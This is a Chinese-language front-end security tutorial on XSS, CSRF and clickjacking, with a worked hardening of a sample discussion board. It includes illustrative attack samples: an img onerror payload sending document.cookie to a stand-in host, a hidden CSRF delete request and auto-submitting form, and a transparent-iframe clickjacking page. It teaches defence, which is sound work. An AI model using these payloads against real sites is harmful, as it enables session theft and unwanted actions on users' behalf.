各位做前端的兄弟姐妹,如果你觉得自己只是“写写页面、调调接口”,那XSS、CSRF、点击劫持这三个词可能暂时离你很远。但只要你负责的业务有一点用户量、有一点登录态、甚至只是页面上有几个表单,你就已经站在了攻防的最前线。这篇文章我想用实际项目的视角,把这三类经典攻击掰开揉碎讲清楚,包括它们是怎么发生的、真实攻击现场长什么样、以及我们到底该往哪几个方向去加固。重点是,我会把一些我踩过的坑和排查过程也一并放出来。
内容会有点长,但都是干货。适合刚接触安全的初中级前端,也适合在团队里负责安全基建、想给组里做一次技术分享的同学。后端同事看了也不算亏,因为很多防护手段其实是前后端配合完成的。
1. 前端安全的战场到底在哪
1.1 为什么前端会变成攻击的突破口
很多人都默认“安全是后端的事”,前端代码都是公开的,好像没什么好防的。这句话对了一半。前端代码确实是透明的,你做的任何加密、隐藏逻辑都可能被人扒出来。但前端恰恰是攻击者接触用户、接触浏览器、接触会话凭证的第一站。
原因在于浏览器的信任模型。浏览器会很忠实地替用户携带Cookie、执行页面里的JavaScript脚本、在页面之间跳转。这些机制本意是为了让Web应用好用,却也成了攻击者可以利用的工具。XSS利用的是浏览器对脚本的盲目执行,CSRF利用的是浏览器自动携带凭证的特性,点击劫持利用的是页面渲染层级的视觉欺骗。它们都不需要攻破你的服务器,只需要骗过浏览器和用户。
我在查某团队项目的时候,看到过一个讨论板的评论区,直接把用户输入的“昵称”通过innerHTML塞进页面。当时我就想,如果有人在昵称里写<img src=x onerror=alert(document.cookie)>,那全站登录的人只要看到这条评论,都会被偷走Cookie。后来这个案例我反复用于团队新人的安全培训。前端这个口子一旦开了,后端再强的防护也拦不住,因为事情发生在用户自己的浏览器里。
1.2 三个攻击的“攻击链思维”
很多同学会把XSS、CSRF、点击劫持当作三个独立的知识点来背,但实际攻击中,它们往往是组合拳。我更喜欢用“攻击链”的思路来理解:
- XSS是注入手段,攻击者往你的页面里塞入自己的代码,本质上抢占了你的前端执行环境。
- CSRF是信任劫持,攻击者利用浏览器对Cookie的自动携带,让服务器以为恶意请求来自真实用户。
- 点击劫持是感知欺骗,攻击者让用户在不知情的情况下点击了不可见的iframe区域。
这三者可以相互配合。比如XSS偷到了用户的身份凭证,后面发CSRF请求就变得顺理成章;而点击劫持如果放在一个有XSS漏洞的页面上,攻击者甚至不需要诱导用户操作,就能在用户浏览时偷偷触发脚本。所以我建议你看下面的内容时,不要只记单个案例,而是想一想每个攻击“为什么会成功”,它依赖的是哪一个浏览器特性或业务逻辑假设。这样你才能真正理解后面那些防护手段的用意。
2. XSS跨站脚本:最容易入门,也最容易翻车的地方
2.1 XSS的本质:让浏览器执行不属于业务逻辑的脚本
XSS的定义听起来很简单:把用户输入当作代码执行了。但真正理解它,要把视角放到浏览器上。浏览器拿到一段HTML文本时,并不会区分“这部分是开发者写的”和“这部分是用户提交的”。它只按照HTML语法去解析。只要文本中出现<script>或者带事件属性的<img onerror>,它就会执行。
我一直觉得XSS之所以流行,是因为它“不需要突破访问控制”。攻击者不需要知道你后台的管理密码,只需要找到一个能让脚本注入的入口就行。而且它危害很大:偷Cookie只是第一步,还能改页面内容(挂虚假公告)、监听键盘输入、劫持会话做业务操作,甚至联合CSRF直接改用户密码。
2.2 三种类型的分辨与实战差异
我把三种XSS放在一张表里对比着看,方便理解它们的区别:
| 类型 | 存储位置 | 触发方式 | 典型场景 | 危害程度 |
|---|---|---|---|---|
| 反射型 | 不存储,只在URL参数或一次性响应里 | 用户点击恶意链接触发 | 搜索页把关键词原样回显 | 中 |
| 存储型 | 存储在服务端数据库 | 任何用户访问被污染页面即触发 | 评论区、用户昵称、富文本文章 | 极高 |
| DOM型 | 不经过服务端,纯前端处理 | 浏览器解析URL片段或跳转时触发 | 前端路由读取location.hash或search后写入页面 | 高 |
反射型XSS最典型的情景是搜索框。比如搜索?keyword=test,页面直接把test回填到输入框里。攻击者把test换成一段恶意脚本,再诱导目标用户点击这个精心构造的链接,脚本就在受害者的浏览器里执行了。注意这里服务端并没有把脚本存储下来,它只是在响应里回显了。
存储型XSS是最危险的,因为恶意代码不止执行一次,而是每个打开页面的用户都会被攻击。评论区是重灾区。富文本编辑器尤其不能掉以轻心,因为富文本天然允许用户提交HTML,等于给XSS开了一扇门。
DOM型XSS绕开了服务端检查,完全发生在浏览器端。比如单页应用通过location.hash获取路由参数,再用innerHTML渲染,攻击者只需要诱导用户访问一个带特殊#后缀的链接。我见过不少团队后端做了严格校验,但DOM型漏洞依然存在的情况,因为隐患在前端代码里。
2.3 存储型XSS完整案例拆解
某团队内部讨论板,有一个用户反馈功能,用户可以在评论区提交纯文本评论,昵称是注册时填写的,后台对昵称只做了长度校验,没有禁止特殊字符。问题出在评论列表渲染上。
前端代码大概长这样:
function renderComment(comment) { const div = document.createElement('div'); div.innerHTML = `<p class="nickname">${comment.nickname}</p><p>${comment.content}</p>`; document.getElementById('comment-list').appendChild(div); }这段代码直接把后台吐出来的字段拼进模板字符串,然后塞进innerHTML。攻击者注册时把昵称设成:
<img src=x onerror="fetch('https://xxx.example/collect?cookie='+document.cookie)">之后他随便发一条正常评论,这条评论的渲染就会触发恶意代码。受害者只要打开页面,Cookie就被发送到攻击者的服务器。
这里要认清一个关键:问题不只是“没有过滤用户输入”,而是前端没有对输出上下文做编码处理。如果只是把文本插入到textContent中,这个问题就不会发生。
修复方案很简单。纯文本场景,一律用textContent赋值:
const p = document.createElement('p'); p.textContent = comment.nickname;如果是富文本场景,那就不能靠简单编码了,必须引入白名单过滤。我推荐用一个成熟的库去做HTML清洗,只允许safe列表里的标签和属性,把所有事件属性和javascript:协议全部剔除。自行写正则黑名单过滤事件属性的方案,我试过,最后都会被各种编码绕过,真不值得在这上面浪费精力。
2.4 防护体系的四层防线
XSS防护不是某一个技巧能搞定的,而是一套分层的思路。我把每次写前端代码时心里默念的“四层防线”列出来:
第一层:输入校验
- 对用户输入做白名单校验,包括长度、格式、字符集。有一定作用,但不能依赖它。因为业务上可能需要用户输入任意字符,比如评论允许写符号。
- 正确的态度是:“输入校验是减少风险,输出编码才是消除风险”。
第二层:上下文相关的输出编码
- XSS逃逸方式取决于代码所处上下文。在HTML标签内容里,要对
<、>、&、"、'做实体编码;在JavaScript字符串里,需要用\x转义或使用安全的API;在URL属性里,需要编码特殊字符。 - 使用前端框架(Vue、React等)默认的插值语法,它们已经处理了不少转义。但不代表绝对安全,以下场景要警惕:
v-html、dangerouslySetInnerHTML、动态构造的href属性。
第三层:CSP内容安全策略
- CSP能显著降低XSS带来的一等危害。通过响应头
Content-Security-Policy限制脚本来源。比如script-src 'self'表示只允许同源脚本,外部注入的onerror内联脚本即便插入也会被阻止执行。 - 内联脚本和
eval也要注意。很多团队为了兼容旧代码不敢开太严厉的CSP,但至少可以先把script-src设为'self'加上必要的白名单域名。
第四层:隔离敏感凭证
- 给Cookie增加
HttpOnly、Secure、SameSite等属性。HttpOnly能让JavaScript无法读取Cookie,这样即使XSS成功,攻击者也偷不到会话凭证。 - 但要注意:HttpOnly只是缓解,不能让XSS的页面无法执行恶意操作。因为攻击者可以直接用受害者的会话发起请求,不需要看Cookie。
下面这段代码是设置Cookie属性的实例,通常由后端维护,但前端同学也要知道它长什么样:
Set-Cookie: sessionid=abc123; HttpOnly; Secure; SameSite=Lax; Path=/说完XSS,我们对它的判断标准就清晰了:任何地方把不可信数据当成HTML或JavaScript来执行,都是XSS。至于数据是来自URL、接口还是用户输入,只是入口区别。
3. CSRF跨站请求伪造:悄无声息的“借刀杀人”
3.1 CSRF的核心矛盾:浏览器自动携带凭证
CSRF能成立,靠的其实是浏览器一个“太老实”的特性:你在一个站点通过登录验证后,浏览器会保存这个站点的Cookie;之后你访问任何其他页面或者收到任何跨站请求,浏览器只要看到请求目标是那个站点,就会自动附带上该站点的Cookie。
这本来是Web Foundation的设计,但攻击者利用它做了一个简单的把戏。他在自家恶意网站放一段脚本,让用户浏览器去请求目标网站的敏感接口。因为请求出发时浏览器会自动带上Cookie,服务器就会认为这是用户本人的合法操作。
要理解CSRF的危害,先记住两个关键:其一,CSRF攻击不需要拿你的密码,也不需要知道你的Cookie内容,它只需要“借用”浏览器自动携带的凭证;其二,攻击者无法读取响应结果,但对于“转账、改密码、删除数据”这类操作,响应结果并不重要,只要请求到达服务端并有凭证就算成功。
3.2 一次完整CSRF攻击现场还原
某平台删除用户的接口,当初为了方便,用了GET请求,大致路径是/api/post/delete?id=1024。当用户已登录时,直接访问这个路径就能删除自己的某条动态。
攻击者写了一个恶意页面,诱导用户访问:
<!DOCTYPE html> <html> <body> <h1>猜猜谁点了?</h1> <img src="https://victim.example/api/post/delete?id=1024" style="display:none"> </body> </html>用户如果在别的标签页里保持着该平台的登录态,打开这个恶意页面,浏览器会自动向victim.example发送GET请求并带上Cookie。服务器验证会话成功,执行删除操作。整个过程用户完全无感知。
这里有个很扎心的结论:GET请求天然是CSRF的温床。就算把接口改成POST,攻击者也只需把<img>换成一段自动提交的表单:
<form action="https://victim.example/api/post/delete" method="POST"> <input type="hidden" name="id" value="1024"> </form> <script>document.forms[0].submit();</script>所以“POST就是安全”是一个彻头彻尾的误区。真正的问题是:请求是否带有不可伪造的凭证标记。
3.3 防护手段对比:Token、SameSite、校验来源
现在业界比较主流的CSRF防护手段有几种,我分别说下它们的原理与适用场景。
CSRF Token
Token的本质是“服务端生成的随机数 + 与当前会话绑定”。服务器在渲染页面时把Token放到表单隐藏域或请求头里,提交请求时必须携带这个Token。因为Token不在Cookie中、不会由浏览器自动附带,攻击者跨站构造的请求自然拿不到它。
关键实现点:
<form action="/api/delete" method="POST"> <input type="hidden" name="_csrf" value="服务端生成的随机Token"> ... </form>同时前端在发起AJAX请求时,把Token放到自定义请求头中,比如X-CSRF-Token。服务端校验请求头中的Token与会话中保存的Token是否一致。
这个方案的问题在于实现复杂度稍高,且需要妥善处理Token的生成、过期、刷新逻辑。但防护效果可靠,适合对安全性要求较高的业务。
SameSite Cookie
通过给Cookie增加SameSite属性,可以控制跨站请求是否携带Cookie。SameSite=Lax时,在跨站GET请求中不携带Cookie,但在用户点击链接并导致浏览器“顶层导航”跳转时仍会携带;SameSite=Strict时,所有跨站请求都不带Cookie。
这里有个进阶概念:Cookie有“同站”和“跨站”之分,规则依据的是“站点”而不是“域名”。有些同学把同源(协议、域名、端口一致)和同站搞混了,其实SameSite关心的只是注册域是否一致。比如sub.example.com和sub2.example.com属于同站,但它们不同源。
一个需要留意的场景:你把SameSite设为Strict后,用户从外部链接直接跳转进入你的站点时,他的首次请求可能不带Cookie,导致登录态失效。这个体验问题在小工具类产品上是致命的。所以一般建议用Lax起步,它能挡住大部分来自恶意页面的POST请求,又能保留链接跳转的可用性。
Origin/Referer校验
服务端检查Origin或Referer头,判断请求来源是否允许。这种方式实现简单,但也存在盲区:
- 用户浏览器的一些隐私插件或代理可能会去掉
Referer头; - 某些同源场景下
Origin可能是null,比如从本地文件发起请求或某些移动端WebView。
所以我通常把来源校验当作辅助手段,还是会叠加Token或SameSite。
3.4 为什么说XSS能摘掉所有CSRF防护
防御CSRF做得很完善时,有人可能怀疑“是不是就不会被攻击了”。只要我们一起遇到XSS,CSRF防护就形同虚设。
原因在于XSS让攻击者拿到了页面的执行环境。攻击者可以在页面里读取到嵌入的CSRF Token、可以发起任意异步请求然后读取响应、可以调用受信任的接口而无需模拟跨站请求。他甚至不需要绕过SameSite,因为他已经是在目标站点的页面上下文里执行脚本了。
这也解释了我为什么反复强调XSS是前端安全的“根本问题”。你可以用Token挡掉99%的CSRF,但一个存储型XSS能让剩下1%彻底失效。所以做好XSS防护,实际上也是在加固CSRF整条链路。我一直觉得前端同学应该把这个联动的思维刻在脑子里。
4. 点击劫持:用户以为自己在点按钮,其实踩了个陷阱
4.1 透明iframe叠加的攻击原理
点击劫持跟前面两类攻击不太一样,它不依赖脚本注入,也不利用会话凭证,而是在视觉上“欺骗”用户。核心原理是:攻击者在自己的恶意页面里,用iframe嵌入目标网站页面,然后通过opacity或者层级控制,让目标页面透明地覆盖在恶意页面的诱导按钮上方。用户看到的似乎是一个抽奖按钮,但实际上鼠标点击的位置正好落在透明的iframe里的某个功能按钮上。
举个例子。攻击者做了一页“免费领会员”的页面,背景写着大大的“点击领取”,实际上他把某个社交平台“关注账号”的按钮对准了那个位置,并且用opacity:0隐藏了iframe。用户点击“领取”,实际点了关注。
技术细节上,这通常涉及两层页面:
<style> .malicious-button { position: absolute; z-index: 10; top: 200px; left: 200px; width: 200px; height: 100px; } .target-iframe { position: absolute; top: 0; left: 0; z-index: 5; opacity: 0; } </style> <iframe class="target-iframe" src="https://victim.example/profile"></iframe> <div class="malicious-button">点击领取</div>如果iframe加载了那个社交平台页面,且该平台没有禁止被嵌入,那么用户点击“点击领取”时,实际点击的是iframe内位于同一坐标位置的元素。
点击劫持的危害往往被新手低估。它可以是“诱导点赞、关注、授权”,也可以是更严重的“诱导转账、修改设置、自动发布”。尤其是加上一些社工话术后,成功率并不低。
4.2 真实案例:一次社交授权漏洞
我在复盘某个产品时关注过一个典型案例。某应用提供“一键绑定社交账号”功能,绑定流程里有一个授权页。攻击者在这个授权页外包了一层恶意页面,诱导用户点击透明iframe上的“允许授权”按钮。用户以为自己是在参加一个测试游戏,实际却把自己的社交账号授权给了恶意应用。恶意应用随后就能获取用户资料、甚至代表用户发布内容。
这个案例说明一个关键点:任何涉及授权、支付、修改配置的页面,都必须禁止被第三方页面嵌入。因为这类操作本身只是为了确认用户意图,如果页面被外层页面伪装诱导,等于用户点击的“确认”并不代表真实意图。
4.3 防护手段:X-Frame-Options与CSP frame-ancestors
好在点击劫持的防护方案相对统一且好用。
第一种方式是设置响应头X-Frame-Options。有三档取值:
DENY:任何情况下都不允许被iframe嵌入。SAMEORIGIN:只允许同源页面嵌入。ALLOW-FROM:指定允许的来源。但这一档在不同浏览器里有兼容性问题,目前已经不推荐。
第二种方式是使用CSP的frame-ancestors指令。它比X-Frame-Options更灵活,能精确控制哪些来源可以嵌入当前页面。例如:
Content-Security-Policy: frame-ancestors 'self';或者限制为指定的可信域名:
Content-Security-Policy: frame-ancestors https://trusted.example.com;需要注意的是:如果两种策略同时存在,浏览器会优先采用更严格的策略。我在实际配置时一般都同时配上,双保险。
“JS frame-busting”这类防护方案(比如判断window.top !== window.self后强制跳转)虽然在一些旧项目中还在用,但它可以被sandbox属性的iframe绕过,并且实现起来也容易误伤正常的弹窗交互,我不建议作为唯一防线使用。
关于防护,我把决策思路列一下:
| 使用场景 | 推荐方案 |
|---|---|
| 登录页、授权页、支付页 | X-Frame-Options: DENY+frame-ancestors 'none' |
| 业务主站 | X-Frame-Options: SAMEORIGIN+frame-ancestors 'self' |
| 需要特定可信方嵌入(如合作页面) | frame-ancestors https://partner.example.com |
| 完全不允许被任何页面嵌入 | DENY或frame-ancestors 'none' |
5. 项目实战:一个迷你应用的完整加固流程
5.1 模拟项目背景与问题入口
前面讲了不少原理,接下来我带大家一起走一遍完整的加固流程。模拟项目X是一个团队内部讨论板,功能不多:用户登录、发布帖子、评论、删除自己发的帖子、修改个人资料。采用前后端分离架构,后端提供REST接口,前端是单页应用。
我接手这个项目时,团队刚跑完一轮测试,并没有人专门做过前端安全排查。我决定先做一轮摸底,重点看四个方向:是否存在XSS执行点、是否缺少CSRF防护、关键页面是否可被iframe嵌入、Cookie属性是否配置合理。
5.2 排查发现的问题清单
问题一:评论与昵称的存储型XSS
这个项目的评论渲染用了类似前面案例的innerHTML方式拼接内容,昵称没有字符白名单,富文本字段直接信任了后端的输出。初步判断存在存储型XSS风险。
问题二:删除接口用GET且无Token
删除帖子接口是GET /api/thread/delete?id=xxx,没有任何Token校验,也没有校验来源。只要用户保持登录,就可以被跨站请求触发删除操作。
问题三:个人资料页可被iframe嵌入
个人资料页没有任何X-Frame-Options响应头,攻击者可以把它嵌进恶意页面,配合透明层诱导用户“点击修改资料”或误触“授权”按钮。
问题四:Cookie缺少HttpOnly与SameSite
服务端登录成功后设置的会话Cookie只有Secure一个属性,没有HttpOnly,也没有SameSite。这意味着任何XSS漏洞都能直接读取Cookie,而且跨站请求也会自动携带。
5.3 逐项修复与代码改造
先改最危险的XSS问题。纯文本场景全部换成textContent渲染,富文本场景引入白名单清洗库,把所有on*事件属性、javascript:协议等彻底剔除。下面是评论渲染改造后的关键代码:
function renderComment(comment) { const card = document.createElement('div'); card.className = 'comment-card'; const nickname = document.createElement('p'); nickname.className = 'nickname'; nickname.textContent = comment.nickname; // 不再用innerHTML拼接 const content = document.createElement('div'); // 富文本字段使用清洗后的HTML content.innerHTML = sanitizeHtml(comment.content); card.appendChild(nickname); card.appendChild(content); document.getElementById('comment-list').appendChild(card); }同时给服务端加了一层兜底校验:评论内容一律按纯文本接收,除非显式启用富文本接口。这个改动其实浪费不了多少精力,却能把绝大多数注入挡在存储前。
接着处理CSRF。后端为每个会话生成Token,并写到Cookie里(注意这个Cookie不能加HttpOnly,因为前端JS需要读取它来构造请求头),前端所有写操作请求都带上X-CSRF-Token请求头。关键改造如下:
async function fetchWithCSRF(url, options = {}) { const token = getCsrfTokenFromCookie(); return fetch(url, { ...options, headers: { ...options.headers, 'X-CSRF-Token': token, }, credentials: 'include', }); } // 删除帖子时调用: await fetchWithCSRF('/api/thread/delete', { method: 'POST', body: JSON.stringify({ id: threadId }), headers: { 'Content-Type': 'application/json' }, });服务端在端点上校验请求头里的Token与会话绑定的Token一致,不一致则直接拒绝。同时把删除接口从GET改成POST,避免单纯通过URL字符串被触发。
Cookie配置同步调整:
Set-Cookie: sessionid=abc123; HttpOnly; Secure; SameSite=Lax; Path=/登录页、授权页、支付页单独加更严格策略:
X-Frame-Options: DENY Content-Security-Policy: frame-ancestors 'none';其他业务页面设置:
X-Frame-Options: SAMEORIGIN Content-Security-Policy: frame-ancestors 'self';最后一件事是给全站统一开CSP,限制外部脚本来源:
Content-Security-Policy: default-src 'self'; script-src 'self'; style-src 'self' 'unsafe-inline'; img-src 'self' data:;这里的style-src 'unsafe-inline'是为了兼容一些已有的内联样式,如果你能控制全局样式,建议也去掉。script-src没有放开unsafe-inline和eval,这对XSS屏蔽能力是一次比较大的提升。
5.4 加固后的回归验证
修复之后,我建议团队把它们纳入日常测试用例,而不是一次性验证。我用的简单验证方式列在这里:
XSS验证:
- 在任意输入框提交
<script>alert(1)</script>、<img src=x onerror=alert(1)>、冒号协议变体等测试载荷; - 检查页面是否原样显示文本,而不是弹窗或执行脚本。
CSRF验证:
- 在无登录态的浏览器里,用外部页面构造对删除接口的POST请求;
- 观察服务端是否返回400/403 Token不一致。
点击劫持验证:
- 用控制台或外部页面尝试
iframe加载关键页面; - 如果响应头正确,应该出现
X-Frame-Options或CSP阻止加载的提示。
Cookie属性验证:
- 在开发者工具Application面板里查看Cookie是否带上了
HttpOnly、SameSite属性。
实测下来,加固后的页面不会再出现之前的问题。印象比较深的是部署后我再用恶意iframe尝试嵌入登录页,浏览器直接空白并报错阻止加载,这个反馈比任何代码都直观。
6. 日常开发中的安全习惯与团队落地方案
6.1 我总结出的几条编码铁律
每次评审代码时,我几乎都会重复下面这几条,久而久之就成了团队规范:
- 凡是动态渲染用户内容,一律用
textContent或框架的安全插值语法。innerHTML必须经过显式审查,并给出使用场景。 - 富文本编辑器实现“允许部分HTML”的功能,必须接白名单清洗库,不允许自行维护黑名单标签。
- 所有写操作接口都用POST,并携带CSRF Token。删除、修改、授权类操作必须配合服务端二次校验。
- 登录态Cookie必须有
HttpOnly、Secure、SameSite属性。涉及敏感页面的响应必须加X-Frame-Options和frame-ancestors。 - 前端代码永远假设自己运行在不可信的浏览器环境里,核心逻辑的判断不能只依赖前端隐藏或加密。
6.2 每次上线前的安全自查清单
我把上线前的检查整理成可以直接在团队里抄的表格:
| 检查项 | 检查方式 | 结果 |
|---|---|---|
| 是否存在直接拼接HTML渲染用户内容的地方 | 全局搜索innerHTML、v-html、dangerouslySetInnerHTML | 通过/需修复 |
| Cookie属性是否齐全 | 开发者工具Application面板检查 | 通过/需修复 |
| 所有写操作接口是否校验CSRF Token | 检查请求是否携带Token及服务端校验逻辑 | 通过/需修复 |
| 关键页面是否可被外部iframe嵌入 | 检查响应头X-Frame-Options和CSP | 通过/需修复 |
| CSP是否生效 | 浏览器Network面板查看响应头 | 通过/需修复 |
| 是否存在借GET请求执行删除或写入操作 | 全局搜索delete、remove等接口路由 | 通过/需修复 |
这个清单不需要很长,关键是有人真的去执行。我们团队把它做成了MR合并前的自动检查项,还配了一个简单的脚本扫描未授权接口。
6.3 如何让安全意识在团队里落地
很多人觉得安全建设很虚,原因是没有把它嵌入到流程里。我在团队里的做法有三个比较有效:
第一,在代码评审清单里加一个“安全相关”的二级审查项。每次MR必须勾选“我确认安全自查清单通过”,没有勾选的不允许合入。刚开始大家会觉得烦,但坚持几周就习惯了。
第二,搞一次内部攻防演练。让一名同事充当攻击者,只使用前端手段尝试攻击,其他人负责防守。不用搞得很复杂,实战一次比讲十次PPT都有用。我们第一次演练就发现了两个没想到的DOM型XSS点。
第三,维护一份“已知坑位档案”。把团队踩过的安全问题、修复方案、绕过案例记录下来。新人入职第一周就让他读一遍,并让他复现其中一个案例。这比直接丢给他一厚本安全规范有效得多。
最后说几句实在话
我自己这几年做安全排查,最大的体会是:前端安全没有“一次性修复完”的舒适时刻,它本质上是编码习惯的持续矫正。你不可能记住所有恶意载荷,但你可以守住原则——不可信数据永远按数据对待、所有执行路径永远留一层验证、关键操作永远假设用户可以不可信。
如果你现在就在维护一个项目,明天上班可以先做一件事:全局搜一下项目里所有的innerHTML,逐个确认它们的输入来源。这个动作花费不到半小时,但可能已经能发现一个隐患。不要等到攻击者帮你发现。